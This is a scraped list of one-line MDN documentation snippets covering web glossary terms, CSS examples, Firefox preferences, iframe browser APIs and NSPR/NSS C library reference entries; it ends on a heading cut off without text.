basically, rtsp is the protocol that describes what happens when you click "pause"/"play" when streaming a video.
Raster image - MDN Web Docs Glossary: Definitions of Web-related terms
raster image files usually contain one set of dimensions, but the ico and cur formats, used for favicons and css cursor images, can contain multiple sizes.
Rendering engine - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge web browser engine on wikipedia technical reference gecko documentation venkatraman.r - behind browsers (part 1, basics) ...
Repo - MDN Web Docs Glossary: Definitions of Web-related terms
"repository") is a place that hosts an application's code source, together with various metadata.
Resource Timing - MDN Web Docs Glossary: Definitions of Web-related terms
the resource timing api is a javascript api that is able to capture timing information for each individual resource that is fetched when a page is loaded.
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
the rtt between a network and server can be determined by using the ping command.
Ruby - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge ruby on wikipedia technical reference ruby's official web site ruby on rails' official web site ...
SCM - MDN Web Docs Glossary: Definitions of Web-related terms
a programmer can modify source code files without being afraid of editing out useful stuff, because a scm keeps track of how the source code has changed and who made the changes.
SCTP - MDN Web Docs Glossary: Definitions of Web-related terms
it's used for sending traditional telephone calls over the internet, but is also used for webrtc data.
SDP - MDN Web Docs Glossary: Definitions of Web-related terms
here is a typical sdp message: v=0 o=alice 2890844526 2890844526 in ip4 host.anywhere.com s= c=in ip4 host.anywhere.com t=0 0 m=audio 49170 rtp/avp 0 a=rtpmap:0 pcmu/8000 m=video 51372 rtp/avp 31 a=rtpmap:31 h261/90000 m=video 53000 rtp/avp 32 a=rtpmap:32 mpv/90000 sdp is never used alone, but by protocols like rtp and rtsp.
SGML - MDN Web Docs Glossary: Definitions of Web-related terms
the standard generalized markup language (sgml) is an iso specification for defining declarative markup languages.
SIMD - MDN Web Docs Glossary: Definitions of Web-related terms
simd (pronounced "sim-dee") is short for single instruction/multiple data which is one classification of computer architectures.
SISD - MDN Web Docs Glossary: Definitions of Web-related terms
sisd is short for single instruction/single data which is one classification of computer architectures.
SMPTE (Society of Motion Picture and Television Engineers) - MDN Web Docs Glossary: Definitions of Web-related terms
the society of motion picture and television engineers (smpte) is the professional association of engineers and scientists that develop and define standards and technologies used to create, broadcast, store, and present entertainment media.
SMTP - MDN Web Docs Glossary: Definitions of Web-related terms
primary complications include supporting various authentication mechanisms (gssapi, cram-md5, ntlm, msn, auth login, auth plain, etc.), handling error responses, and falling back when authentication mechanisms fail (e.g., the server claims to support a mechanism, but doesn't).
SOAP - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge soap on wikipedia soap in gecko-based browsers technical reference specification ...
SQL - MDN Web Docs Glossary: Definitions of Web-related terms
sql (structured query language) is a descriptive computer language designed for updating, retrieving, and calculating data in table-based databases.
Secure Sockets Layer (SSL) - MDN Web Docs Glossary: Definitions of Web-related terms
the current version of ssl is version 3.0, released by netscape in 1999, and has been superseded by the transport layer security (tls) protocol.
STUN - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge stun on wikipedia webrtc protocols technical reference specification ...
Same-origin policy - MDN Web Docs Glossary: Definitions of Web-related terms
the same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin.
Scroll container - MDN Web Docs Glossary: Definitions of Web-related terms
a scroll container is created by applying overflow: scroll to a container, or overflow: auto when there is enough content to cause overflow.
Search engine - MDN Web Docs Glossary: Definitions of Web-related terms
a web site owner can exclude areas of the site from being accessed by a search engine's web crawler (or spider), by defining "robot exclusion" information in a file named robots.txt.
Server Timing - MDN Web Docs Glossary: Definitions of Web-related terms
the server timing specification enables the server to communicate performance metrics from the request-response cycle to the user agent, and utilizes a javascript interface to allow applications to collect, process, and act on these metrics to optimize application delivery.
Signature (security) - MDN Web Docs Glossary: Definitions of Web-related terms
on receiving the message, the verification process authenticates the sender - uses the sender's public key to decrypt the signature and recover the hash, which can only be created with the sender's private key, and checks message integrity - compares the hash with a newly calculated one from the received document (the two hashes will differ if the document has been tampered with) the system fails if the private key is compromised or the recipient is deceitfully given the wrong public key.
Signature - MDN Web Docs Glossary: Definitions of Web-related terms
the term signature can have several meanings depending on the context.
Snap positions - MDN Web Docs Glossary: Definitions of Web-related terms
defining snap positions on the scroll container was introduced in the css scroll snap specification.
Speed index - MDN Web Docs Glossary: Definitions of Web-related terms
the calculation calculates what percent of the page is visually complete at every 100ms interval until the page is visually complete.
Stacking context - MDN Web Docs Glossary: Definitions of Web-related terms
stacking context refers to how elements on a webpage appear to sit on top of other elements, just as you can arrange index cards on your desk to lie side-by-side or overlap each other.
Statement - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge statement (computer science) on wikipedia technical reference javascript statements and declarations ...
Stylesheet - MDN Web Docs Glossary: Definitions of Web-related terms
external stylesheets are generally preferred because they allow you to control the styling of multiple pages from a single place, rather than having to repeat the css across each page.
Syntax error - MDN Web Docs Glossary: Definitions of Web-related terms
an exception caused by the incorrect use of a pre-defined syntax.
TCP - MDN Web Docs Glossary: Definitions of Web-related terms
tcp has concurrence control, which means the initial requests start small, increasing in size to the levels of bandwidth the computers, servers, and network can support.
TURN - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge turn on wikipedia webrtc protocols technical reference specification specification update for ipv6 ...
Three js - MDN Web Docs Glossary: Definitions of Web-related terms
three.js is a javascript-based webgl engine that can run gpu-powered games and other graphics-powered apps straight from the browser.
Trident - MDN Web Docs Glossary: Definitions of Web-related terms
a trident fork called edgehtml replaced trident in internet explorer's successor, edge.
Truthy - MDN Web Docs Glossary: Definitions of Web-related terms
examples of truthy values in javascript (which will be coerced to true in boolean contexts, and thus execute the if block): if (true) if ({}) if ([]) if (42) if ("0") if ("false") if (new date()) if (-42) if (12n) if (3.14) if (-3.14) if (infinity) if (-infinity) specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
URI - MDN Web Docs Glossary: Definitions of Web-related terms
the most common are urls, which identify the resource by giving its location on the web.
UTF-8 - MDN Web Docs Glossary: Definitions of Web-related terms
utf-8 is backward-compatible with ascii and can represent any standard unicode character.
Usenet - MDN Web Docs Glossary: Definitions of Web-related terms
usenet is an internet discussion system where each post is duplicated on many servers.
Validator - MDN Web Docs Glossary: Definitions of Web-related terms
validators can be created for any format or language, but in our context we speak of tools that check html, css, and xml.
Value - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of a variable or property, the value can be either a primitive or an object reference.
W3C - MDN Web Docs Glossary: Definitions of Web-related terms
each standard passes through four stages of maturity: working draft (wd), candidate recommendation (cr), proposed recommendation (pr), and w3c recommendation (rec).
WHATWG - MDN Web Docs Glossary: Definitions of Web-related terms
the whatwg (web hypertext application technology working group) is a community that maintains and develops web standards, including dom, fetch, and html.
WebAssembly - MDN Web Docs Glossary: Definitions of Web-related terms
wasm) is an open binary programming format that can be run in modern web browsers in order to gain performance and/or provide new features for web pages.
WebExtensions - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference browser extensions on mdn ...
WebKit - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge webkit on wikipedia technical reference webkit css extensions ...
Web performance - MDN Web Docs Glossary: Definitions of Web-related terms
objectively, it is measurable time, in milliseconds, it takes for the web page or web application to be downloaded, painted in the user's web browser, and become responsive and interactive.
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
this non-exhaustive list gives you an idea of which standards websites and network systems must conform to: ietf (internet engineering task force): internet standards (std), which among other things govern set-up and use of uris, http, and mime w3c: specifications for markup language (e.g., html), style definitions (i.e., css), dom, accessibility iana (internet assigned numbers authority): name and number registries ecma intl.: scripting standards, most prominently for javascript iso (international organization for standardization): standards governing a diverse array of aspects, including character encodings, website management, and user-interface...
Wrapper - MDN Web Docs Glossary: Definitions of Web-related terms
in programming languages such as javascript, a wrapper is a function that is intended to call one or more other functions, sometimes purely for convenience, and sometimes adapting them to do a slightly different task in the process.
XForms - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference xforms documentation on mdn ...
XHR (XMLHttpRequest) - MDN Web Docs Glossary: Definitions of Web-related terms
asynchronous communications technical information the xmlhttprequest object.
XHTML - MDN Web Docs Glossary: Definitions of Web-related terms
xhtml is a term that was historically used to describe html documents written to conform with xml syntax rules.
XLink - MDN Web Docs Glossary: Definitions of Web-related terms
specification xlink 1.0 xlink 1.1 (currently a working draft) see also xml in mozilla code snippets:getattributens - a wrapper for dealing with some browsers not supporting this dom method code snippets:xml:base function - a rough attempt to find a full xlink-based on an xlink:href attribute (or <xi:include href=>) and its or an ancestor's xml:base.
XSLT - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference xslt on wikipedia xslt documentation on mdn ...
Baseline - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge baseline on wikipedia technical reference css box alignment on mdn ...
buffer - MDN Web Docs Glossary: Definitions of Web-related terms
a buffer is a storage in physical memory used to temporarily store data while it is being transferred from one place to another.
Character - MDN Web Docs Glossary: Definitions of Web-related terms
a character is either a symbol (letters, numbers, punctuation) or non-printing "control" (e.g., carriage return or soft hyphen).
Character encoding - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in html we normally declare a character encoding of utf-8, using the following line: <meta charset="utf-8"> this ensures that you can use characters from just about any human language in your html document, and they will display reliably.
GIF - MDN Web Docs Glossary: Definitions of Web-related terms
gif (graphics interchange format) is an image format that uses lossless compression and can be used for animations.
Hash - MDN Web Docs Glossary: Definitions of Web-related terms
this provides the basis for hmac's, which provide message authentication.
HTTPS - MDN Web Docs Glossary: Definitions of Web-related terms
it uses ssl or tls to encrypt all communication between a client and a server.
Property (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
here's an example of a css rule: /* "div" is a selector indicating that all the div elements */ /* in the document will be styled by that rule */ div { /* the property "color" with the value "black" indicates */ /* that the text will have the color black */ color: black; /* the property "background-color" with the value "white" indicates */ /* that the background color of the elements will be white */ background-color: white; } learn more general knowledge learn css technical reference the css reference on mdn the css working group current work ...
Property (JavaScript) - MDN Web Docs Glossary: Definitions of Web-related terms
this distinction matters because the original referenced object remains unchanged when you change the property's value.
Property - MDN Web Docs Glossary: Definitions of Web-related terms
the term property can have several meanings depending on the context.
Time to first byte - MDN Web Docs Glossary: Definitions of Web-related terms
ttfb is the time it takes between the start of the request and the start of the response, in milliseconds: ttfb = responsestart - requeststart see also: a typical http session performanceresourcetiming performancetiming ...
About Scriptable Interfaces - Interfaces
when we label an interface as scriptable, we're saying that components exporting this interface can be referenced (through this interface) from scripts (e.g javascript), and that we can write new components implementing the interface using script languages.
Example 2 - Learn web development
.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optli...
Example - Learn web development
to give the same size to all text field */ width: 300px; -moz-box-sizing: border-box; box-sizing: border-box; /* to harmonize the look & feel of text field border */ border: 1px solid #999; } input:focus, textarea:focus { /* to give a little highligh on active elements */ border-color: #000; } textarea { /* to properly align multiline text field with their label */ vertical-align: top; /* to give enough room to type some text */ height: 5em; /* to allow users to resize any textarea vertically it works only on chrome, firefox and safari */ resize: vertical; } .button { /* to position the buttons to the same position of the text fields */ padding-left: 90px; /* same size as the label elements */ } button { /* this extra magin represent the same...
How to contribute to the Learning Area on MDN - Learn web development
it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
Web APIs: Mozilla-specific documents
this includes notes about any firefox-only features, or about any experiments or other deviations from the specification that may exist in mozilla code.
Obsolete
creating a skin for firefox uuid contents.rdf install.rdf theme changes in firefox 2 theme changes in firefox 3 theme changes in firefox 3.5 theme changes in firefox 4 building a theme common theme issues and their solutions making sure your theme works with rtl locales creating a skin for seamonkey 2 dom inspector inspectorwidget force rtl yet another theme tutorial ...
Themes
browser themes browser theme concepts get an introduction to creating themes for the latest versions of firefox using the amo theme generator use the theme generator to create and submit a new theme to amo lightweight themes lightweight themes have been deprecated and are no longer accepted by amo.
Cookies in Mozilla
suggestions as to needed documentation can be directed to mike connor.
Debugging Internet Explorer
to run internet explorer in a single process add a dword registry value to hkey_current_user\software\microsoft\internet explorer\main called tabprocgrowth and set it to 0.
Articles for new developers
to help you find the most critical stuff as quickly as possible, we've created this list of the articles you'll find most useful as you get yourself oriented and make your first contributions to the project.
Building Firefox with Debug Symbols
ac_add_options --enable-debug-symbols this can optionally take an argument for the type of symbols that need to be produced (like "-g3").
Installing headers using EXPORTS
the distinction between xpidl_module and module is that each directory with idl files must have a unique typelib file, but several directories may export headers to the same location.
OS TARGET
os_target is typically the output of the 'uname -s' command on the target platform.
Simple Firefox for Android build
deprecated: this documentation has moved, please visit geckoview-quick-start for up-to-date documentation on building geckoview for android.
Customizing Firefox
firefox enterprise documentation is now located on support.mozilla.org.
Getting documentation updated
it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
Interface development guide
commenting idl for better documentation a guide explaining how to properly comment your interface's idl in order to ensure that not only can others understand your interface, but to ensure that the documentation here on mdc is as accurate as possible.
Working with Mozilla source code
if you don't have access to them all, you can use the try servers to test your patches and make sure the tests pass.
Multiprocess Firefox
message manager a complete guide to the objects used to communicate between chrome code and web content.
Firefox Operational Information Database: SQLite
in the manager, select the database you want to explore in the '(select profile database)' pulldown, click 'go', select one of the tables listed in the left column and see the current contents of the database in the 'browse & search' tab.) some databases are used by the browser itself, others are used by applications that you have installed or used; for example: content-prefs.sqlite cookies.sqlite download.sqlite formhistory.sqlite persmissions.sqlite places.sqlite search.sqlite signons.sqlite webappstore.sqlite ...
HTMLIFrameElement.addNextPaintListener()
examples var browser = document.queryselector('iframe'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); specification not part of any specification.
HTMLIFrameElement.getManifest()
examples var browser = document.queryselector('iframe'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getmanifest().then(function(json) { console.log(json); }); }); specification not part of any specification.
HTMLIFrameElement.mute()
MozillaGeckoChromeAPIBrowser APImute
example var browser = document.queryselector('iframe'); browser.mute(); specification not in a specification.
HTMLIframeElement.removeNextPaintListener()
examples var browser = document.queryselector('iframe'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); browser.removenextpaintlistener(onnextpaint); specification not part of any specification.
HTMLIFrameElement.stop()
MozillaGeckoChromeAPIBrowser APIstop
examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification.
HTMLIFrameElement.unmute()
example var browser = document.queryselector('iframe'); browser.unmute(); specification not part of any specification.
HTMLIFrameElement.zoom()
MozillaGeckoChromeAPIBrowser APIzoom
examples var browser = document.queryselector('iframe'); var zoomfactor = 1; zoomin.addeventlistener('touchend',function() { zoomfactor += 0.1; browser.zoom(zoomfactor); }); zoomout.addeventlistener('touchend',function() { zoomfactor -= 0.1; browser.zoom(zoomfactor); }); specification not part of any specification.
overflow-clip-box-block
olid black; background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
overflow-clip-box-inline
lid black; background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
Chrome-only Events reference
smartcard-insertthe smartcard-insert event is fired when the insertion of a smart card has been detectedsmartcard-removethe smartcard-remove event is fired when the removal of a smart card has been detected.
IPC Protocol Definition Language (IPDL)
ipdl, short for "ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
DownloadSource
isprivate read only boolean indicates whether the download originated from a private window.
Geometry.jsm
to use these routines, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/geometry.jsm"); once you've imported the module, you can then use the point and rect classes.
ISO8601DateUtils.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/iso8601dateutils.jsm"); once you've imported the module, you can then use the iso8601dateutils object it exports.
MathML Demo: <mspace> - space
you can set the width ∑ x y height ∫ x y and depth [ x y ] of mspace elements (click the math text to view the numeric values that are set).
Mozilla MathML Project
the mozilla mathml project is mozilla's project to build and enhance mathml support within firefox and other mozilla-based applications.
Mozilla external string guide
the mozilla codebase used to have a notion of "external" strings, which were the string classes visible to code outside of the mozilla codebase (extensions, xulrunner applications, and embedders).
mozilla::MonitorAutoEnter
the mozilla::monitorautoenter constructor will enter() the underlying mozilla::monitor automatically.
mozilla::Mutex
#include <mozilla/mutex.h> methods constructor mutex(const char* aname) initialize the mutex with a name that can reference it.
Are We Slim Yet
the results are posted to perfherder where we can track regressions automatically.
Automated performance testing and sheriffing
currently we aggregate this information in the perfherder web application where performance sheriffs watch for significant regressions, filing bugs as appropriate.
Investigating CSS Performance
two counts are collected which allow for an estimation of the amount of work being done during restyle: resolvestyleforcount this is incremented everytime that we do style resolution on an element contentenumfunccount this is incremented roughly for every rule that we test against time during restyle can be spent in a bunch of places.
Profiling with Concurrency Visualizer - Performance
here are some scripts that you can be used for manipulating the profiles that have been exported to csv: https://github.com/jrmuizel/concurrency-visualizer-scripts ...
Profiling with Zoom
you can get the profiler from here: http://www.rotateright.com/ ...
turbostat
invocation turbostat must be invoked as the super-user: sudo turbostat if you get an error saying "turbostat: no /dev/cpu/0/msr", you need to run the following command: sudo modprobe msr the output is as follows: core cpu avg_mhz %busy bzy_mhz tsc_mhz smi cpu%c1 cpu%c3 cpu%c6 cpu%c7 coretmp pkgtmp pkg%pc2 pkg%pc3 pkg%pc6 pkg%pc7 pkgwatt corwatt gfxwatt - - 799 21.63 3694 3398 0 12.02 3.16 1.71 61.48 4...
browser.altClickSave
type:boolean default value: false exists by default: yes application support:firefox 13.0 status: active; last updated 2012-03-19 introduction: pushed to nightly on 2012-03-02 bugs: bug 713052 values true clicking a link while holding the alt key starts the download of that link.
browser.download.lastDir.savePerSite
type:boolean default value:true exists by default: no application support:firefox 11.0 status: active; last updated 2012-02-15 introduction: pushed to nightly on 2011-12-11 bugs: bug 702748 values true (default) the last used directory for the website (host) serving the file for download will be preselected in the file picker.
browser.search.context.loadInBackground
type:boolean default value:false exists by default: yes application support: firefox 13.0 status: active; last updated 2012-02-17 introduction: pushed to nightly on 2012-02-15 bugs: bug 727131 values true new tab with search results will be opened in the background, focus stays on the current tab.
browser.urlbar.formatting.enabled
type:boolean default value: true exists by default: yes application support:firefox 6.0 status: active; last updated 2012-04-03 introduction: pushed to nightly on 2011-05-03 bugs: bug 451833 values true (default) the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.
browser.urlbar.trimURLs
type:boolean default value: true exists by default: yes application support:firefox 7.0 status: active; last updated 2012-04-03 introduction: pushed to nightly on 2011-06-23 bugs: bug 665580 values true (default) if the active url is exactly the domain name, the trailing slash (/) behind the top level domain will be hidden.
nglayout.debug.disable xul fastload
type:boolean default value: false (true in debug builds) exists by default: yes application support:?
reader.parse-on-load.force-enabled
type:boolean default value: false exists by default: yes application support:firefox mobile 23.0 status: active; last updated 2013-05-11 introduction: pushed to nightly on 2013-05-06 bugs: bug 867875 values true reader mode is enabled independent of memory available.
ui.SpellCheckerUnderline
type:string default value:#ff0000 exists by default: no application support: gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) status: active; last updated 2012-02-21 introduction: pushed to nightly on 2009-04-03 bugs: bug 338209 values a color code like #ff0000 for red.
ui.SpellCheckerUnderlineStyle
type:integer default value:5 exists by default: no application support: gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) status: active; last updated 2012-02-22 introduction: pushed to nightly on 2009-04-03 bugs: bug 338209 values the values are defined in nsstyleconsts.h.
ui.textSelectBackground
type:string with rgb hex value as color code default value:#ef0fff (blue) [1] exists by default: no application support: before gecko 1.7 status: active; last updated 2015-09-21 introduction: pushed to trunk on 2000-04-13 bugs: bug 34704 [1]: nsxplookandfeel.cpp, line 628, retrieved 2015-09-21 ...
ui.textSelectForeground
type:string with rgb hex value as color code default value:#ffffff (white) [1] exists by default: no application support: before gecko 1.7 status: active; last updated 2015-09-21 introduction: pushed to trunk on 2000-04-13 bugs: bug 34704 [1]: nsxplookandfeel.cpp, line 635, retrieved 2015-09-21 ...
ui.tooltipDelay
type:integer default value:500 exists by default: no application support: gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) status: active; last updated 2012-02-21 introduction: pushed to nightly on 2011-12-15 bugs: bug 204786 values integer (milliseconds, default: 500) the time for delay between the mouse stopping over the element and the tooltip appearing is stored in milliseconds and the default value is 500ms.
view_source.syntax_highlight
type:boolean default value: true exists by default: yes application support:firefox 1.0 status: active introduction: bugs: bug 52154 values true (default) syntax hightlighting is enabled.
Emscripten techniques
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose.
Linked Lists
the caller must provide for mutually-exclusive access to the list, and for the nodes being added and removed from the list.
PLHashEnumerator
syntax #include <plhash.h> typedef printn (pr_callback *plhashenumerator)(plhashentry *he, printn index, void *arg); /* return value */ #define ht_enumerate_next 0 /* continue enumerating entries */ #define ht_enumerate_stop 1 /* stop enumerating entries */ #define ht_enumerate_remove 2 /* remove and free the current entry */ #define ht_enumerate_unhash 4 /* just unhash the current entry */ description plhashenumerator is a function type used in the enumerating a hash table.
PLHashFunction
syntax #include <plhash.h> typedef plhashnumber (pr_callback *plhashfunction)(const void *key); description plhashnumber is a function type that maps the key of a hash table entry to a hash number.
PL_CompareStrings
pl_comparestrings can be used as the comparator function for string-valued key or entry value.
PL_HashString
description pl_hashstring can be used as the key hash function for a hash table if the key is a character string.
PL_HashTableAdd
you can write your freeentry function to free the value of the specified entry if the old value should be freed.
PL_HashTableLookup
this means that one cannot tell whether a null return value means the entry does not exist or the value of the entry is null.
PL_strfree
frees memory allocated by pl_strdup.
PL_strlen
returns the length of a specified string (not including the trailing '\0') syntax pruint32 pl_strlen(const char *str); parameter the function has these parameter: str size in bytes of item to be allocated.
PRCList
it can be used as the anchor of a list and can be embedded in data structures that are maintained in a linked list.
PRDir
the function pr_opendir opens a specified directory and returns a pointer to a prdir structure, which can be passed to pr_readdir repeatedly to obtain successive entries (files or subdirectories in the open directory).
PRFileInfo
modifytime last modification time per definition of prtime.
PRFileInfo64
modifytime last modification time per definition of prtime.
PRJobFn
syntax #include <prtpool.h> typedef void (pr_callback *prjobfn)(void *arg); ...
PRLibrary
a reference to such a structure can be returned by some of the functions in the runtime and serve to identify a particular instance of a library.
PRLogModuleInfo
the prlogmoduleinfo structure controls logging from within your application.
PRLogModuleLevel
the enumerated type prlogmodulelevel defines levels of logging available to application programs.
PRNetAddr
therefore, the family field can be pr_af_inet only for default nspr, and can also be pr_af_inet6 if the binary supports ipv6.
PR_Initialize
the type for the root function used by pr_initialize is specified as follows: syntax typedef printn (pr_callback *prprimordialfn)(printn argc, char **argv); see also pr_initialize ...
PRSeekWhence
pr_seek_cur sets the file pointer to its current location plus the value of the offset parameter.
PRThreadPrivateDTOR
syntax #include <prthread.h> typedef void (pr_callback *prthreadprivatedtor)(void *priv); description until the data associated with an index is actually set with a call to pr_setthreadprivate, the value of the data is null.
PRTime
although utc and gmt are not exactly the same in their precise definitions, they can generally be treated as if they were.
PR_ASSERT
when the result is zero (false) the application terminates; otherwise the application continues.
PR_Abort
syntax #include <prinit.h> void pr_abort(void); description pr_abort results in a core file and a call to the debugger or equivalent, in addition to causing the entire process to stop.
PR_AtomicIncrement
atomically increments a 32-bit value.
PR_Available
the error code can then be retrieved via pr_geterror.
PR_Available64
the error code can then be retrieved via pr_geterror.
PR_CloseSemaphore
syntax #include <pripcsem.h> nspr_api(prstatus) pr_closesemaphore(prsem *sem); parameter the function has the following parameter: sem a pointer to a prsem structure returned from a call to pr_opensemaphore.
PR ConvertIPv4AddrToIPv6
v6addr a pointer to a buffer, allocated by the caller, that is filled in with the ipv6 address on return.
PR_CreateFileMap
the file-mapping object should be closed with a pr_closefilemap call when it is no longer needed.
PR_CreateThreadPool
stacksize size of the stack allocated to each thread in the thread.
PR_Delete
if the function fails, the error code can then be retrieved via pr_geterror.
PR_DeleteSemaphore
syntax #include <pripcsem.h> nspr_api(prstatus) pr_deletesemaphore(const char *name); parameter the function has the following parameter: name the name of a semaphore that was previously created via a call to pr_opensemaphore.
PR_DestroyCondVar
description before calling pr_destroycondvar, the caller is responsible for ensuring that the condition variable is no longer in use.
PR_DestroyLock
caution the caller must ensure that no thread is currently in a lock-specific function.
PR_EXTERN
the macro includes the proper specifications to declare the target extern and set up other required linkages.
PR_FREEIF
conditionally frees allocated memory.
PR_Free
frees allocated memory in the heap.
PR FreeAddrInfo
syntax #include <prnetdb.h> void pr_enumerateaddrinfo(praddrinfo *addrinfo); parameters the function has the following parameters: addrinfo a pointer to a praddrinfo structure returned by a successful call to pr_getaddrinfobyname.
PR_GetOSError
its interpretation is left to the caller.
PR_GetOpenFileInfo
description pr_getopenfileinfo obtains the file type (normal file, directory, or other), file size (as a 32-bit integer), and the file creation and modification times of the open file represented by the file descriptor.
PR_GetOpenFileInfo64
it obtains the file type (normal file, directory, or other), file size (as a 64-bit integer), and the creation and modification times of the open file represented by the file descriptor.
PR_GetPeerName
the reason for the failure can be obtained by calling pr_geterror.
PR_GetSockName
the reason for the failure can be obtained by calling pr_geterror.
PR_GetThreadScope
syntax #include <prthread.h> prthreadscope pr_getthreadscope(void); returns a value of type prthreadscope indicating whether the thread is local or global.
PR_IntervalToMicroseconds
description conversion may cause overflow, which is not reported.
PR_IntervalToMilliseconds
description conversion may cause overflow, which is not reported.
PR_IntervalToSeconds
description conversion may cause overflow, which is not reported.
PR_JoinJob
syntax #include <prtpool.h> nspr_api(prstatus) pr_joinjob(prjob *job); parameter the function has the following parameter: job a pointer to a prjob structure returned by a pr_queuejob function representing the job to be cancelled.
PR_LogPrint
syntax #include <prlog.h> void pr_logprint(const char *fmt, ...); parameters the function has this parameter: fmt the string that is used as the formatting specification.
PR_MemMap
when the file-mapping memory region is no longer needed, it should be unmapped with a call to pr_memunmap.
PR_NEXT_LINK
it can be used to traverse a list.
PR_NetAddrToString
you can retrieve the reason for the failure by calling pr_geterror.
PR_NewLock
if unsuccessful (for example, the lock cannot be created because of resource constraints), null.
PR_NewLogModule
description this function allocates and initializes a new prlogmoduleinfo structure with the specified name.
PR_NewMonitor
the caller is responsible for the object and is expected to destroy it when appropriate.
PR_OpenSemaphore
the created semaphore needs to be removed from the system with a pr_deletesemaphore call.
PR_OpenSharedMemory
retrieve the reason for the failure by calling pr_geterror and pr_getoserror.
PR_PREV_LINK
it can be used to traverse a list.
PR_PostSemaphore
syntax #include <pripcsem.h> nspr_api(prstatus) pr_postsemaphore(prsem *sem); parameter the function has the following parameter: sem a pointer to a prsem structure returned from a call to pr_opensemaphore.
PR_ProcessAttrSetInheritableFileMap
a subsequent call to pr_createprocess makes the prfilemap importable by the child process.
PR_ProcessExit
causes an immediate, nongraceful, forced termination of the process.
PR_QueueJob
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob( prthreadpool *tpool, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool.
PR_Rename
in this case, pr_rename does not overwrite the existing filename.
PR_RmDir
the actual reason can be retrieved via pr_geterror.
PR_Shutdown
further information can be obtained by calling pr_geterror.
PR_ShutdownThreadPool
syntax #include <prtpool.h> nspr_api(prstatus) pr_shutdownthreadpool( prthreadpool *tpool ); parameter the function has the following parameter: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool.
PR_TicksPerSecond
syntax #include <prinrval.h> pruint32 pr_tickspersecond(void); returns an integer between 1000 and 100000 indicating the number of ticks per second counted by printervaltime on the current platform.
PR_UnloadLibrary
after calling this function, future references to the library using its identity as returned by pr_loadlibrary will be invalid.
Thread Pools
thread pool types thread pool functions thread pool types prjobiodesc prjobfn prthreadpool prjob thread pool functions pr_createthreadpool pr_queuejob pr_queuejob_read pr_queuejob_write pr_queuejob_accept pr_queuejob_connect pr_queuejob_timer pr_canceljob pr_joinjob pr_shutdownthreadpool pr_jointhreadpool ...
NSS Code Coverage
these numbers doesn't count blocks in files which are not tested (marked with red color), because we don't know number of blocks there.
NSS 3.16.2.2 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.16.6 release notes
furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.19.2.2 release notes
